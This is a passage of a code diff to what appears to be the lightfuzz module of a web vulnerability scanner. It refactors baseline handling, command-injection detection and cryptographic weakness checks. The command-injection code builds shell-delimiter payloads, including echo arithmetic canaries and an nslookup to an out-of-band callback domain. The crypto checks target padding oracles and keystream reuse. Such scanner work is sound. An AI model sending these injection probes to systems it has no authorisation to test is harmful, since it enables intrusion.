+                        for submodule_name, submodule in self.submodules.items():
+                            self.debug(f"Starting {submodule_name} fuzz() (try_get_as_post)")
+                            await self.run_submodule(submodule, event)
+                finally:
+                    # Restore the original type so downstream consumers see the
+                    # correct value after the conversion passes.
+                    event.data["type"] = original_type
+                    event.data.pop("converted_from_post", None)
+                    event.data.pop("converted_from_get", None)
+                    # Drop the per-event baseline cache once all submodules have run.
+                    self._baseline_cache.pop(event.id, None)
             else:
-                self.debug(f"WEB_PARAMETER URL {event.data['url']} failed connectivity test, aborting")
+                self.debug(f"WEB_PARAMETER URL {event.url} failed connectivity test, aborting")
 
     async def cleanup(self):
         if self.interactsh_instance:
@@ -189,14 +352,23 @@ async def cleanup(self):
 
     async def finish(self):
         if self.interactsh_instance:
+            self.debug("finish(): sleeping 5s before final interactsh poll")
             await self.helpers.sleep(5)
             try:
-                for r in await self.interactsh_instance.poll():
+                results = await self.interactsh_instance.poll()
+                self.debug(f"finish(): interactsh poll returned {len(results)} interaction(s)")
+                for r in results:
+                    protocol = r.get("protocol", "unknown")
+                    full_id = r.get("full-id", "unknown")
+                    self.debug(f"finish(): interactsh interaction: protocol={protocol}, full-id={full_id}")
                     await self.interactsh_callback(r)
             except InteractshError as e:
                 self.debug(f"Error in interact.sh: {e}")
 
     async def filter_event(self, event):
+        if await self._is_http_wildcard_host(event) is True:
+            return False, "host is an HTTP wildcard responder"
+
         # Unless configured specifically to do so, avoid running against confirmed WAFs
         if self.avoid_wafs and "waf" in event.tags:
             # Use parsed_url.geturl() for both URL and WEB_PARAMETER events
@@ -205,6 +377,12 @@ async def filter_event(self, event):
             self.debug(f"Skipping {event.type} because it is likely to be blocked by a WAF. URL: {url}")
             return False
 
+        # Skip WEB_PARAMETERs on static-asset URLs (pdf, doc, xml, etc.) — fuzzing them is pointless
+        if event.type == "WEB_PARAMETER":
+            ext = getattr(event, "url_extension", None)
+            if ext and ext in self.scan.config.get("url_extension_static", []):
+                return False, f"skipping WEB_PARAMETER on static-asset URL (.{ext})"
+
         # If we've disabled fuzzing POST parameters, back out of POSTPARAM WEB_PARAMETER events as quickly as possible
         if event.type == "WEB_PARAMETER" and self.disable_post and event.data["type"] == "POSTPARAM":
             if not self.try_post_as_get:
@@ -212,14 +390,19 @@ async def filter_event(self, event):
         return True
 
     @classmethod
-    def help_text(self):
+    def help_text(cls):
         # Call the base class help_text method
         base_help_text = super().help_text()
 
         import importlib
 
+        # classmethod: read defaults from the Config schema (instance config isn't available here)
+        default_submodules = cls.Config.model_fields["enabled_submodules"].get_default(call_default_factory=True)
+        if not isinstance(default_submodules, (list, tuple)):
+            default_submodules = []
+
         submodules = {}
-        for submodule_name in self.options.get("enabled_submodules", []):
+        for submodule_name in default_submodules:
             try:
                 submodule_module = importlib.import_module(f"bbot.modules.lightfuzz.submodules.{submodule_name}")
                 submodule_class = getattr(submodule_module, submodule_name)
diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py
index 171e78c613..cf07d30459 100644
--- a/bbot/modules/lightfuzz/submodules/base.py
+++ b/bbot/modules/lightfuzz/submodules/base.py
@@ -7,6 +7,8 @@
 class BaseLightfuzz:
     friendly_name = ""
     uses_interactsh = False
+    # True for submodules whose payloads ARE the wire format (e.g. `serial`) — skip envelope wrapping.
+    skip_envelopes = False
 
     def __init__(self, lightfuzz, event):
         self.lightfuzz = lightfuzz
@@ -14,6 +16,31 @@ def __init__(self, lightfuzz, event):
         self.results = []
         self.parameter_name = self.event.data["name"]
 
+    def register_interactsh_tag(
+        self, *, name, description, severity, confidence, severity_dns=None, confidence_dns=None
+    ):
+        """Register a fresh interactsh subdomain tag and return `(tag, host)`.
+
+        Caller incorporates ``host`` into its payload, then sends via
+        ``self.standard_probe`` (or equivalent). ``severity_dns`` and
+        ``confidence_dns`` optionally override the emitted finding's
+        severity/confidence when the observed interaction is DNS-only.
+        """
+        tag = self.lightfuzz.helpers.rand_string(4, digits=False)
+        details = {
+            "event": self.event,
+            "name": name,
+            "description": description,
+            "severity": severity,
+            "confidence": confidence,
+        }
+        if severity_dns is not None:
+            details["severity_dns"] = severity_dns
+        if confidence_dns is not None:
+            details["confidence_dns"] = confidence_dns
+        self.lightfuzz.interactsh_subdomain_tags[tag] = details
+        return tag, f"{tag}.{self.lightfuzz.interactsh_domain}"
+
     @staticmethod
     def is_hex(s):
         try:
@@ -27,7 +54,7 @@ def is_base64(s):
         try:
             if base64.b64encode(base64.b64decode(s)).decode() == s:
                 return True
-        except (binascii.Error, UnicodeDecodeError):
+        except (binascii.Error, UnicodeDecodeError, ValueError):
             return False
         return False
 
@@ -64,11 +91,15 @@ def conditional_urlencode(self, probe, event_type, skip_urlencoding=False):
         return probe
 
     def build_query_string(self, probe, parameter_name, additional_params=None):
-        """Constructs a URL with query parameters from the given probe and additional parameters."""
-        url = f"{self.event.data['url']}?{parameter_name}={probe}"
-        if additional_params:
-            url = self.lightfuzz.helpers.add_get_params(url, additional_params, encode=False).geturl()
-        return url
+        """Constructs a URL with query parameters from the given probe and additional parameters.
+
+        Merges into any existing querystring on ``self.event.url``: the probe replaces
+        ``parameter_name`` if it's already present, and ``additional_params`` fill in
+        alongside. Sibling params already in the URL are preserved.
+        """
+        params = dict(additional_params) if additional_params else {}
+        params[parameter_name] = probe
+        return self.lightfuzz.helpers.add_get_params(self.event.url, params, encode=False).geturl()
 
     def prepare_request(
         self,
@@ -91,6 +122,13 @@ def prepare_request(
             parameter_name = self.parameter_name
         additional_params = self.additional_params_process(additional_params, additional_params_populate_empty)
 
+        # Coerce None → "" at the wire boundary (excavate preserves the None/"" distinction
+        # in metadata, but browsers serialize both as `name=`; urlencode renders None as "None").
+        if additional_params:
+            additional_params = {k: ("" if v is None else v) for k, v in additional_params.items()}
+        if probe is None:
+            probe = ""
+
         # Transparently pack the probe value into the envelopes, if present
         probe = self.outgoing_probe_value(probe)
 
@@ -103,22 +141,52 @@ def prepare_request(
         # Construct request parameters based on the event type
         if event_type == "GETPARAM":
             url = self.build_query_string(probe, parameter_name, additional_params)
-            return {"method": "GET", "cookies": cookies, "url": url}
+            request_params = {"method": "GET", "cookies": cookies, "url": url}
         elif event_type == "COOKIE":
             cookies_probe = {parameter_name: probe}
-            return {"method": "GET", "cookies": {**cookies, **cookies_probe}, "url": self.event.data["url"]}
+            request_params = {
+                "method": "GET",
+                "cookies": {**cookies, **cookies_probe},
+                "url": self.event.url,
+            }
         elif event_type == "HEADER":
             headers = {parameter_name: probe}
-            return {"method": "GET", "headers": headers, "cookies": cookies, "url": self.event.data["url"]}
+            request_params = {
+                "method": "GET",
+                "headers": headers,
+                "cookies": cookies,
+                "url": self.event.url,
+            }
         elif event_type in ["POSTPARAM", "BODYJSON"]:
             # Prepare data for POSTPARAM and BODYJSON event types
             data = {parameter_name: probe}
             if additional_params:
                 data.update(additional_params)
             if event_type == "BODYJSON":
-                return {"method": "POST", "json": data, "cookies": cookies, "url": self.event.data["url"]}
+                request_params = {
+                    "method": "POST",
+                    "json": data,
+                    "cookies": cookies,
+                    "url": self.event.url,
+                }
             else:
-                return {"method": "POST", "data": data, "cookies": cookies, "url": self.event.data["url"]}
+                request_params = {
+                    "method": "POST",
+                    "data": data,
+                    "cookies": cookies,
+                    "url": self.event.url,
+                }
+        else:
+            return None
+
+        # Stamp Referer to the form's host page (when distinct from action) — some apps
+        # validate Referer for CSRF-like patterns and reject POSTs without it.
+        host_url = self.event.data.get("host_url") if isinstance(self.event.data, dict) else None
+        if host_url:
+            request_params.setdefault("headers", {})
+            request_params["headers"]["Referer"] = host_url
+
+        return request_params
 
     def compare_baseline(
         self,
@@ -130,10 +198,11 @@ def compare_baseline(
         skip_urlencoding=False,
         parameter_name_suffix="",
         parameter_name_suffix_additional_params="",
+        emit_http_response=True,
     ):
-        """
-        Compares the baseline using prepared request parameters.
-        """
+        """Return an HttpCompare for the given request signature, sharing the instance with
+        any prior caller with the same signature. Emits one HTTP_RESPONSE per unique baseline
+        (set ``emit_http_response=False`` for confirmation/FP-killer baselines)."""
         additional_params = copy.deepcopy(self.event.data.get("additional_params", {}))
 
         if additional_params and parameter_name_suffix_additional_params:
@@ -153,25 +222,67 @@ def compare_baseline(
             skip_urlencoding,
         )
         request_params.update({"include_cache_buster": False})
-        return self.lightfuzz.helpers.http_compare(**request_params)
 
-    async def baseline_probe(self, cookies):
-        """
-        Executes a baseline probe to establish a baseline for comparison.
+        signature = self.lightfuzz._baseline_request_signature(request_params)
+        cached = self.lightfuzz.get_cached_baseline(self.event, signature)
+        if cached is not None:
+            return cached
+
+        if emit_http_response and self.lightfuzz.emit_baseline_responses:
+            request_method = request_params.get("method", "GET")
+            event = self.event
+
+            async def _on_ready(baseline_response):
+                await self.lightfuzz.emit_baseline_response(baseline_response, event, method=request_method)
+
+            request_params["on_baseline_ready"] = _on_ready
+
+        http_compare = self.lightfuzz.helpers.http_compare(**request_params)
+        self.lightfuzz.store_cached_baseline(self.event, signature, http_compare)
+        return http_compare
+
+    async def baseline_probe(self, cookies, emit_http_response=True):
+        """Submit the canonical baseline the way a browser would, returning Probe A's response.
+
+        Probe A: form as captured (``original_value`` + sibling ``additional_params``).
+        Probe B: this field populated as ``"a"`` — only fired when ``original_value`` is None/"".
+        Catches search-style forms whose content only appears when the primary input is non-empty.
+        Both responses are emitted as HTTP_RESPONSE; responses are cached per request signature
+        so form siblings share one network request.
         """
-        if self.event.data.get("eventtype") in ["POSTPARAM", "BODYJSON"]:
-            method = "POST"
-        else:
-            method = "GET"
-
-        return await self.lightfuzz.helpers.request(
-            method=method,
-            cookies=cookies,
-            url=self.event.data.get("url"),
-            allow_redirects=False,
-            retries=1,
-            timeout=10,
+        additional_params = copy.deepcopy(self.event.data.get("additional_params", {}))
+        probe_value_a = self.incoming_probe_value(populate_empty=False)
+        response_a = await self._baseline_probe_once(probe_value_a, cookies, additional_params, emit_http_response)
+        if probe_value_a in (None, ""):
+            await self._baseline_probe_once("a", cookies, additional_params, emit_http_response)
+        return response_a
+
+    async def _baseline_probe_once(self, probe_value, cookies, additional_params, emit_http_response):
+        """Fire one baseline request with ``probe_value`` for the fuzzed parameter and
+        the captured sibling values, emit the response (subject to caching)."""
+        request_params = self.prepare_request(
+            self.event.data.get("type", "GETPARAM"),
+            probe_value,
+            cookies,
+            additional_params,
         )
+        request_params.update({"allow_redirects": False, "retries": 1, "timeout": 10})
+
+        signature = self.lightfuzz._baseline_request_signature(request_params)
+        cache = self.lightfuzz._baseline_probe_response_cache
+        cached = cache.get(signature)
+        if cached is not None:
+            return cached
+
+        response = await self.lightfuzz.helpers.request(**request_params)
+        if response is not None:
+            if len(cache) >= self.lightfuzz._baseline_probe_response_cache_max:
+                cache.pop(next(iter(cache)))
+            cache[signature] = response
+            if emit_http_response:
+                method = request_params.get("method", "GET")
+                await self.lightfuzz.emit_baseline_response(response, self.event, method=method)
+        return response
 
     async def compare_probe(
         self,
@@ -247,22 +358,42 @@ def conversion_note(self):
 
     def metadata(self):
         metadata_string = f"Parameter: [{self.event.data['name']}] Parameter Type: [{self.event.data['type']}]{self.conversion_note()}"
-        if self.event.data["original_value"] != "" and self.event.data["original_value"] is not None:
-            metadata_string += (
-                f" Original Value: [{self.lightfuzz.helpers.truncate_string(self.event.data['original_value'], 200)}]"
-            )
+        original_value = self.event.data.get("original_value")
+        if original_value is not None and original_value != "":
+            metadata_string += f" Original Value: [{self.lightfuzz.helpers.truncate_string(original_value, 200)}]"
+        # Surface additional_params for param types where they're needed to reproduce findings
+        if self.event.data["type"] in ("POSTPARAM", "BODYJSON", "HEADER", "COOKIE"):
+            additional_params = self.event.data.get("additional_params", {})
+            if additional_params:
+                # Truncate individual values and the total string to keep descriptions manageable
+                truncated = {
+                    k: self.lightfuzz.helpers.truncate_string(str(v), 50) for k, v in additional_params.items()
+                }
+                params_str = self.lightfuzz.helpers.truncate_string(str(truncated), 500)
+                metadata_string += f" Additional Params: {params_str}"
         return metadata_string
 
     def incoming_probe_value(self, populate_empty=True):
         """
         Transparently modifies the incoming probe value (the original value of the WEB_PARAMETER), given any envelopes that may have been identified, so that fuzzing within the envelopes can occur.
+
+        Submodules that set `skip_envelopes = True` receive the raw outer
+        value unchanged — used when the submodule's payloads ARE the wire
+        format and should not be unwrapped.
         """
         envelopes = getattr(self.event, "envelopes", None)
-        probe_value = ""
-        if envelopes is not None:
+        probe_value = None
+        if envelopes is not None and not self.skip_envelopes:
             probe_value = envelopes.get_subparam()
             self.debug(f"incoming_probe_value (after unpacking): {probe_value} with envelopes [{envelopes}]")
-        if not probe_value:
+        elif envelopes is not None and self.skip_envelopes:
+            # Honor the outer-only opt-out: return the raw original value.
+            probe_value = self.event.data.get("original_value")
+            self.debug(
+                f"incoming_probe_value (skip_envelopes=True): returning raw outer value [{probe_value}] "
+                f"instead of unwrapping [{envelopes}]"
+            )
+        if probe_value is None or probe_value == "":
             if populate_empty is True:
                 probe_value = self.lightfuzz.helpers.rand_string(10, numeric_only=True)
             else:
@@ -275,10 +406,19 @@ def outgoing_probe_value(self, outgoing_probe_value):
         Transparently packs the outgoing probe value (fuzz probe being sent to the target) through
         any envelopes that may have been identified, so that fuzzing within the envelopes can occur.
 
+        Submodules that set `skip_envelopes = True` have their probe sent
+        unchanged — used when the probe's bytes ARE the wire format and
+        should not be re-encoded.
+
         Uses pack_value() to avoid mutating the envelope's internal state, preventing cross-contamination
         between submodules that share the same event/envelope object.
         """
         self.debug(f"outgoing_probe_value (before packing): {outgoing_probe_value} / {self.event}")
+        if self.skip_envelopes:
+            self.debug(
+                f"outgoing_probe_value (skip_envelopes=True): bypassing envelope packing for [{outgoing_probe_value}]"
+            )
+            return outgoing_probe_value
         envelopes = getattr(self.event, "envelopes", None)
         if envelopes is not None:
             outgoing_probe_value = envelopes.pack_value(outgoing_probe_value)
diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py
index 11576f1dc5..05e753d965 100644
--- a/bbot/modules/lightfuzz/submodules/cmdi.py
+++ b/bbot/modules/lightfuzz/submodules/cmdi.py
@@ -15,6 +15,22 @@ class cmdi(BaseLightfuzz):
        - Checks if the echoed canary appears in the response without the "echo" itself
        - Uses a false positive probe to validate findings
 
+    * Arithmetic Canary Detection (confirmation cascade):
+       - When an echo canary match is found, two follow-up probes try to prove
+         the response was generated by real command execution rather than
+         textual reflection of probe bytes:
+           - `echo $((A*B))` — POSIX arithmetic expansion (bash/sh/dash/zsh/ksh)
+           - `set /A A*B`   — Windows cmd.exe native arithmetic
+         The product A*B never appears in either probe's literal bytes, so
+         parser-error or template reflections cannot produce it. A match
+         upgrades the finding to HIGH confidence and labels the shell family.
+       - If neither arithmetic probe confirms execution, the generic match
+         is emitted as a "Possible Parameter Reflection" finding (LOW severity)
+         instead of a cmdi finding — this is honest about what we observed
+         (the value is reflected into the response) while still surfacing the
+         endpoint for triage, since reflected values often point at adjacent
+         vulns the other submodules missed (e.g. SQLi).
+
     * Blind Command Injection:
        - Injects nslookup commands with unique subdomain tags
        - Detects command execution through DNS resolution via Interactsh
@@ -30,6 +46,17 @@ async def fuzz(self):
         probe_value = self.incoming_probe_value()
 
         canary = self.lightfuzz.helpers.rand_string(10, numeric_only=True)
+        # Arithmetic canary: the multiplicands are in the probe, but their
+        # product is NOT — so a response containing the product is evidence
+        # of arithmetic expansion performed by a real shell. Reject factors
+        # that evaluate to 0; otherwise the canary degenerates to "0" and
+        # matches virtually every HTML response (critical-severity FP).
+        while True:
+            arith_a = self.lightfuzz.helpers.rand_string(5, numeric_only=True)
+            arith_b = self.lightfuzz.helpers.rand_string(5, numeric_only=True)
+            if int(arith_a) and int(arith_b) and arith_a[0] != "0" and arith_b[0] != "0":
+                break
+        arith_canary = str(int(arith_a) * int(arith_b))
         http_compare = self.compare_baseline(
             self.event.data["type"], probe_value, cookies
         )  # Initialize the http_compare object and establish a baseline HTTP response
@@ -43,56 +70,109 @@ async def fuzz(self):
             "|",
         ]
 
-        positive_detections = []
+        linux_detections = []  # POSIX arithmetic canary matched → HIGH
+        windows_detections = []  # cmd.exe arithmetic canary matched → HIGH
+        reflection_detections = []  # generic matched but neither shell proved execution
         for p in cmdi_probe_strings:
             try:
-                # add "echo" to the cmdi probe value to construct the command to be executed
-                echo_probe = f"{probe_value}{p} echo {canary} {p}"
-                # we have to handle our own URL-encoding here, because our payloads include the & character
+                generic_probe_str = f"{probe_value}{p} echo {canary} {p}"
                 if self.event.data["type"] == "GETPARAM":
-                    echo_probe = urllib.parse.quote(echo_probe.encode(), safe="")
+                    generic_probe_str = urllib.parse.quote(generic_probe_str.encode(), safe="")
+
+                generic_probe = await self.compare_probe(
+                    http_compare, self.event.data["type"], generic_probe_str, cookies, skip_urlencoding=True
+                )
 
-                # send cmdi probe and compare with baseline response
-                cmdi_probe = await self.compare_probe(
-                    http_compare, self.event.data["type"], echo_probe, cookies, skip_urlencoding=True
+                generic_match = (
+                    generic_probe[3] is not None
+                    and canary in generic_probe[3].text
+                    and "echo" not in generic_probe[3].text
                 )
+                if not generic_match:
+                    continue
+                if p == "AAAA":
+                    self.warning(
+                        f"False Postive Probe appears to have been triggered for {self.event.url}, aborting remaining detection"
+                    )
+                    return
 
-                # ensure we received an HTTP response
-                if cmdi_probe[3]:
-                    # check if the canary is in the response and the word "echo" is NOT in the response text, ruling out mere reflection of the entire probe value without execution
-                    if canary in cmdi_probe[3].text and "echo" not in cmdi_probe[3].text:
-                        self.debug(f"canary [{canary}] found in response when sending probe [{p}]")
-                        if p == "AAAA":  # Handle detection false positive probe
-                            self.warning(
-                                f"False Postive Probe appears to have been triggered for {self.event.data['url']}, aborting remaining detection"
-                            )
-                            return
-                        positive_detections.append(p)  # Add detected probes to positive detections
+                # Cascade: try POSIX arithmetic first, then Windows cmd
+                # arithmetic. The product value is never in either probe
+                # literal, so only real shell execution can place it in the
+                # response. Either confirmation upgrades to HIGH.
+                raw_marker = f"{arith_a}*{arith_b}"
+                linux_match = await self._arith_confirm(
+                    http_compare,
+                    cookies,
+                    f"{probe_value}{p} echo $(({arith_a}*{arith_b})) {p}",
+                    arith_canary,
+                    raw_marker,
+                    p,
+                    "linux",
+                )
+                if linux_match:
+                    linux_detections.append(p)
+                    continue
+                windows_match = await self._arith_confirm(
+                    http_compare,
+                    cookies,
+                    f"{probe_value}{p} set /A {arith_a}*{arith_b} {p}",
+                    arith_canary,
+                    raw_marker,
+                    p,
+                    "windows",
+                )
+                if windows_match:
+                    windows_detections.append(p)
+                    continue
+                # Generic fired, neither shell confirmed — reflection.
+                reflection_detections.append(p)
+                self.debug(
+                    f"echo canary reflected without arithmetic confirmation for [{p}] — "
+                    f"treating as parameter reflection, not cmdi"
+                )
             except HttpCompareError as e:
                 self.debug(e)
                 continue
-        if len(positive_detections) > 0:
+        if linux_detections:
             self.results.append(
                 {
-                    "type": "FINDING",
-                    "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [echo canary] CMD Probe Delimeters: [{' '.join(positive_detections)}]",
+                    "name": "Possible Command Injection",
+                    "severity": "CRITICAL",
+                    "confidence": "HIGH",
+                    "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [arithmetic canary (POSIX)] CMD Probe Delimeters: [{' '.join(linux_detections)}]",
+                }
+            )
+        if windows_detections:
+            self.results.append(
+                {
+                    "name": "Possible Command Injection",
+                    "severity": "CRITICAL",
+                    "confidence": "HIGH",
+                    "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [arithmetic canary (cmd)] CMD Probe Delimeters: [{' '.join(windows_detections)}]",
+                }
+            )
+        if reflection_detections:
+            self.results.append(
+                {
+                    "name": "Possible Parameter Reflection",
+                    "severity": "LOW",
+                    "confidence": "LOW",
+                    "description": f"Parameter value reflected without confirmed shell execution. May indicate adjacent reflection-based vulns. {self.metadata()} Detection Method: [echo canary, no shell confirmation] CMD Probe Delimeters: [{' '.join(reflection_detections)}]",
                 }
             )
 
         # Blind OS Command Injection
         if self.lightfuzz.interactsh_instance:
-            self.lightfuzz.event_dict[self.event.data["url"]] = self.event  # Store the event associated with the URL
+            self.lightfuzz.event_dict[self.event.url] = self.event  # Store the event associated with the URL
             for p in cmdi_probe_strings:
-                # generate a random subdomain tag and associate it with the event, type, name, and probe
-                subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False)
-                self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = {
-                    "event": self.event,
-                    "type": self.event.data["type"],
-                    "name": self.event.data["name"],
-                    "probe": p,
-                }
-                # payload is an nslookup command that includes the interactsh domain prepended the previously generated subdomain tag
-                interactsh_probe = f"{p} nslookup {subdomain_tag}.{self.lightfuzz.interactsh_domain} {p}"
+                _, host = self.register_interactsh_tag(
+                    name="OS Command Injection",
+                    description=f"OS Command Injection (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{p}]",
+                    severity="CRITICAL",
+                    confidence="CONFIRMED",
+                )
+                interactsh_probe = f"{p} nslookup {host} {p}"
                 # we have to handle our own URL-encoding here, because our payloads include the & character
                 if self.event.data["type"] == "GETPARAM":
                     interactsh_probe = urllib.parse.quote(interactsh_probe.encode(), safe="")
@@ -104,3 +184,26 @@ async def fuzz(self):
                     timeout=15,
                     skip_urlencoding=True,
                 )
+
+    async def _arith_confirm(self, http_compare, cookies, probe_str, expected, raw_marker, delim, shell_label):
+        """Send a shell-arithmetic confirmation probe and return True iff the
+        expected product value appears in the response and the literal
+        multiplicand expression (``{a}*{b}``) does not — the latter rules out
+        bulk reflection in a shell-agnostic way."""
+        if self.event.data["type"] == "GETPARAM":
+            probe_str = urllib.parse.quote(probe_str.encode(), safe="")
+        try:
+            probe = await self.compare_probe(
+                http_compare,
+                self.event.data["type"],
+                probe_str,
+                cookies,
+                skip_urlencoding=True,
+            )
+        except HttpCompareError as e:
+            self.debug(f"arithmetic probe [{shell_label}] error for [{delim}]: {e}")
+            return False
+        matched = probe[3] is not None and expected in probe[3].text and raw_marker not in probe[3].text
+        if matched:
+            self.debug(f"{shell_label} arithmetic canary [{expected}] matched for delimiter [{delim}]")
+        return matched
diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py
index 6c3e060640..085589c1d5 100644
--- a/bbot/modules/lightfuzz/submodules/crypto.py
+++ b/bbot/modules/lightfuzz/submodules/crypto.py
@@ -9,6 +9,79 @@
 _compiled_rules_cache = None
 
 
+def _xor_bytes(a, b):
+    """XOR two bytestrings truncated to the shorter length."""
+    n = min(len(a), len(b))
+    return bytes(x ^ y for x, y in zip(a[:n], b[:n]))
+
+
+def _leading_zero_run(b):
+    """Number of leading 0x00 bytes in b."""
+    n = 0
+    for byte in b:
+        if byte == 0:
+            n += 1
+        else:
+            break
+    return n
+
+
+def _ascii_xor_score(b):
+    """Fraction of bytes <= 0x60.
+
+    XOR of two printable-ASCII strings overwhelmingly lands in [0x00, 0x60]
+    (letters XOR letters yield 0x00-0x3F, digits XOR digits 0x00-0x3F, etc.).
+    Truly random bytes land in this range only ~38% of the time. A high score
+    is the classic "many-time-pad smell."
+    """
+    if not b:
+        return 0.0
+    return sum(1 for x in b if x <= 0x60) / len(b)
+
+
+def _is_structured_id_pair(bytes_a, bytes_b, xored, zero_run):
+    """True when the pair looks like structured identifiers (MongoDB ObjectIds,
+    hex timestamps, sequential counters, time-ordered UUIDs) rather than
+    reused-keystream ciphertexts.
+
+    Structured IDs share a long byte prefix (timestamp, process ID, ...) and
+    differ only in a short counter/random suffix.  Their XOR has a long leading-
+    zero run followed by a sparse or random tail -- superficially identical to
+    keystream reuse with shared-prefix plaintexts, but distinguishable by what
+    the tail looks like.
+
+    Real many-time-pad: the tail is XOR of diverging ASCII plaintexts -- dense,
+    diverse bytes mostly in [0x00, 0x60].
+
+    Structured IDs: the tail is either a small counter delta (sparse zeros with
+    one nonzero byte) or random machine/process bytes (fails ASCII-XOR check).
+    """
+    tail = xored[zero_run:]
+
+    # 0-1 differing bytes is always a counter tick.
+    if len(tail) < 2:
+        return True
+
+    # Same-length values whose entire difference fits in <= 4 bytes are
+    # incrementing identifiers (MongoDB ObjectId 3-byte counter, hex
+    # timestamps differing by 1-2 bytes, etc.).
+    if len(bytes_a) == len(bytes_b) and len(tail) <= 4:
+        return True
+
+    # For longer tails: real many-time-pad XOR reveals XOR of diverging ASCII
+    # plaintexts -- dense nonzero bytes mostly in [0x00, 0x60].  Random
+    # suffixes (UUID v7 random bits, different-process machine bytes) and
+    # sparse counters both fail these checks.
+    distinct_nonzero = len(set(b for b in tail if b != 0))
+    if distinct_nonzero < 2:
+        return True
+
+    if _ascii_xor_score(tail) < 0.7:
+        return True
+
+    return False
+
+
 class crypto(BaseLightfuzz):
     """
     Detects the use of cryptography in web parameters, and probes for some cryptographic vulnerabilities
@@ -26,6 +99,12 @@ class crypto(BaseLightfuzz):
     * Padding Oracle Vulnerabilities:
        - Identifies the presence of cryptographic oracles that could be exploited to arbitrary decrypt or encrypt data for the parameter value.
 
+    * ECB Mode Detection:
+       - Passively detects ECB mode encryption by checking for repeated ciphertext blocks in parameter values (zero HTTP requests).
+
+    * CBC Bit-Flipping Detection:
+       - Actively tests whether mutating different byte positions in the penultimate ciphertext block produces distinguishable server responses,
+         indicating CBC mode without integrity protection (2 HTTP requests).
 
     """
 
@@ -63,7 +142,6 @@ def is_base64(s):
         "key does not exist",
         "the parameter is incorrect",
         "cryptography exception",
-        "access denied",
         "unknown error",
         "invalid provider type",
         "no valid cert found",
@@ -83,6 +161,22 @@ def compiled_rules(self):
             _compiled_rules_cache = self.lightfuzz.helpers.yara.compile_strings(self.crypto_error_strings, nocase=True)
         return _compiled_rules_cache
 
+    @staticmethod
+    def is_plausible_base64_crypto(s):
+        """
+        Check if a string is plausibly base64-encoded cryptographic data.
+        Non-standard encodings like F5 BIG-IP's A-P nibble encoding use a narrow
+        consecutive character range that technically round-trips as base64 but is
+        not actual base64. Real base64 of encrypted/random bytes spans a wide
+        character range (typically 70+).
+        """
+        unique_chars = set(s) - set("=")
+        if len(s) >= 16 and unique_chars:
+            char_ords = [ord(c) for c in unique_chars]
+            if max(char_ords) - min(char_ords) <= 20:
+                return False
+        return True
+
     @staticmethod
     def format_agnostic_decode(input_string, urldecode=False):
         """
@@ -101,7 +195,7 @@ def format_agnostic_decode(input_string, urldecode=False):
         if BaseLightfuzz.is_hex(input_string):
             data = bytes.fromhex(input_string)
             encoding = "hex"
-        elif BaseLightfuzz.is_base64(input_string):
+        elif BaseLightfuzz.is_base64(input_string) and crypto.is_plausible_base64_crypto(input_string):
             data = base64.b64decode(input_string)
             encoding = "base64"
         else:
@@ -158,7 +252,7 @@ def modify_string(input_string, action="truncate", position=None, extension_leng
         if action == "truncate":
             modified_data = data[:-1]  # Remove the last byte
         elif action == "mutate":
-            if not position:
+            if position is None:
                 position = len(data) // 2
             if position < 0 or position >= len(data):
                 raise ValueError("Position out of range")
@@ -167,14 +261,6 @@ def modify_string(input_string, action="truncate", position=None, extension_leng
             modified_data = bytes(byte_list)
         elif action == "extend":
             modified_data = data + (b"\x00" * extension_length)
-        elif action == "flip":
-            if not position:
-                position = len(data) // 2
-            if position < 0 or position >= len(data):
-                raise ValueError("Position out of range")
-            byte_list = list(data)
-            byte_list[position] ^= 0xFF  # Flip all bits in the byte at the specified position
-            modified_data = bytes(byte_list)
         else:
             raise ValueError("Unsupported action")
         return crypto.format_agnostic_encode(modified_data, encoding)
@@ -206,6 +292,211 @@ def possible_block_sizes(ciphertext_length):
                 possible_sizes.append(block_size)
         return possible_sizes
 
+    def _collect_keystream_candidates(self, probe_value):
+        """Return [(label, raw, bytes)] for every hex-shaped candidate worth pairwise-XORing.
+
+        Sources, in order:
+          1. The current parameter's value (probe_value).
+          2. Every value in ``event.data["additional_params"]`` (siblings on the same form/URL).
+          3. Every value in ``event.data["same_param_values"]`` (other observed values for the
+             same param name seen on the same HTTP_RESPONSE, e.g. a results page with many
+             ``<a href="?SortBy=<hex>">`` links — populated by excavate's parameter extractor).
+        """
+        param_name = self.event.data.get("name", "")
+        sources = [(param_name, probe_value)]
+        additional_params = self.event.data.get("additional_params") or {}
+        for k, v in additional_params.items():
+            sources.append((k, v))
+        for v in self.event.data.get("same_param_values") or []:
+            sources.append((param_name, v))
+
+        seen_bytes = set()
+        candidates = []
+        for label, value in sources:
+            if not value or not isinstance(value, str):
+                continue
+            decoded, encoding = self.format_agnostic_decode(value)
+            # Hex only: base64's alphabet overlaps heavily with URL-path / identifier
+            # characters, so plaintext URL paths sharing a prefix round-trip as base64
+            # and XOR to a leading-zero run, producing a false-positive keystream-reuse
+            # finding. Hex's [0-9a-f] alphabet has no such overlap with structured
+            # plaintext, so restricting to hex eliminates that class of FP.
+            if encoding != "hex":
+                continue
+            # Digit-only strings (e.g. "7276383284") are valid hex but are almost
+            # certainly plain decimal IDs (account numbers, zip codes, etc.). Their
+            # hex-decoded bytes XOR to small values that trivially pass the ascii_score
+            # threshold, producing false keystream-reuse findings.
+            if value.isdigit():
+                continue
+            if len(decoded) < 3:
+                continue
+            if decoded in seen_bytes:
+                continue
+            seen_bytes.add(decoded)
+            candidates.append((label, value, decoded))
+            if len(candidates) >= 50:
+                break
+        return candidates
+
+    def detect_keystream_reuse(self, probe_value):
+        """Detect "many-time-pad" / keystream-reuse weakness across multiple ciphertexts.
+
+        When the same keystream is reused across encryptions (e.g. ColdFusion's legacy
+        CFMX_COMPAT, hand-rolled XOR ciphers with no IV), XOR-ing any two ciphertexts
+        yields the XOR of their plaintexts. If the plaintexts share a prefix, the XOR
+        result starts with zero bytes; for natural-language / identifier plaintexts the
